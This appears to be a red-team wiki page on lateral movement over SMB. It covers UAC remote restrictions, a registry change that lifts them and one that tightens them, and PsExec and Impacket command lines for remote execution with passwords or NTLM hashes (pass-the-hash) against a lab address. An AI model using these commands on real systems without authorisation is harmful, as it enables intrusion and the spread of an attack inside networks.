# SMB protocol

## Introduction

Lateral movement consists of techniques that enable an attacker to access and control remote systems. SMB protocol is a well known candidate for this purpose.

## Requirements

### Definitions

There are 5 types of users:

* Local users
  * With admin privileges on the machine
    * RID500
    * Non-RID500
  * Without admin privileges on the machine
* Domain users
  * With admin privileges on machines
  * Without admin privileges on machines

{% hint style="info" %}
RID500 is the built-in local admin account used for installing or recovering purpose (usually named Administrator).
{% endhint %}

### UAC remote restrictions

Judging from [microsoft](https://support.microsoft.com/en-us/help/951016/description-of-user-account-control-and-remote-restrictions-in-windows) and [harmj0y](https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/), we can say following things:

* Local admin privileges are **required** to WmiExec or PsExec
* Non-RID 500 local admin accounts **cannot** WmiExec or PsExec on WinVista+ machines
* Domain users with admin privileges on machine **can**
* RID 500 local admin account **can** WmiExec or PsExec on machines

|                                                 | PsExec, WmiExec, SmbExec, AtExec, etc. |
| ----------------------------------------------- | -------------------------------------- |
| Local users                                     | No                                     |
| Local admins                                    | No                                     |
| Local admin RID 500                             | **Yes**                                |
| Domain users **without** local admin privileges | No                                     |
| Domain users **with** local admin privileges    | **Yes**                                |

{% hint style="info" %}
**To allow Non-RID 500 local admin accounts performing Wmi or PsExec, execute:** 

* reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG\_DWORD /f /d 1

**To prevent RID 500 from being able to WmiExec or PsExec, execute:**

* reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v FilterAdministratorToken /t REG\_DWORD /f /d 1
  {% endhint %}

## Tools

### PsExec

On Windows, use Sysinternal's PsExec:

```bash
PsExec64.exe \\WIN01 -accepteula -s -u localadmin -p L0c4l4dm1n "cmd"
PsExec64.exe \\192.168.10.60 -accepteula -s -u localadmin -p b26906d7457cbe74931011c3c5d1ac92 "cmd"
```

On Kali, use Impacket's PsExec:

```bash
psexec.py ./localadmin:L0c4l4dm1n@192.168.10.60 "cmd"
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634 ./aasadmin@192.168.10.60 "cmd"
```

### WmiExec

On Kali, use Impacket's WmiExec:

```bash
wmiexec.py ./localadmin:L0c4l4dm1n@192.168.10.60 "ipconfig"
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634 ./aasadmin@192.168.10.60 "ipconfig"
```

### AtExec

On Kali, use Impacket's AtExec:

```bash
atexec.py ./localadmin:L0c4l4dm1n@192.168.10.60 "ipconfig"
atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634 ./aasadmin@192.168.10.60 "ipconfig"
```

### SmbExec

On Kali, use Impacket's SmbExec:

```bash
smbexec.py ./localadmin:L0c4l4dm1n@192.168.10.60
smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634 ./aasadmin@192.168.10.60
```

## References

* [microsoft](https://support.microsoft.com/en-us/help/951016/description-of-user-account-control-and-remote-restrictions-in-windows)
* [harmj0y](https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/)


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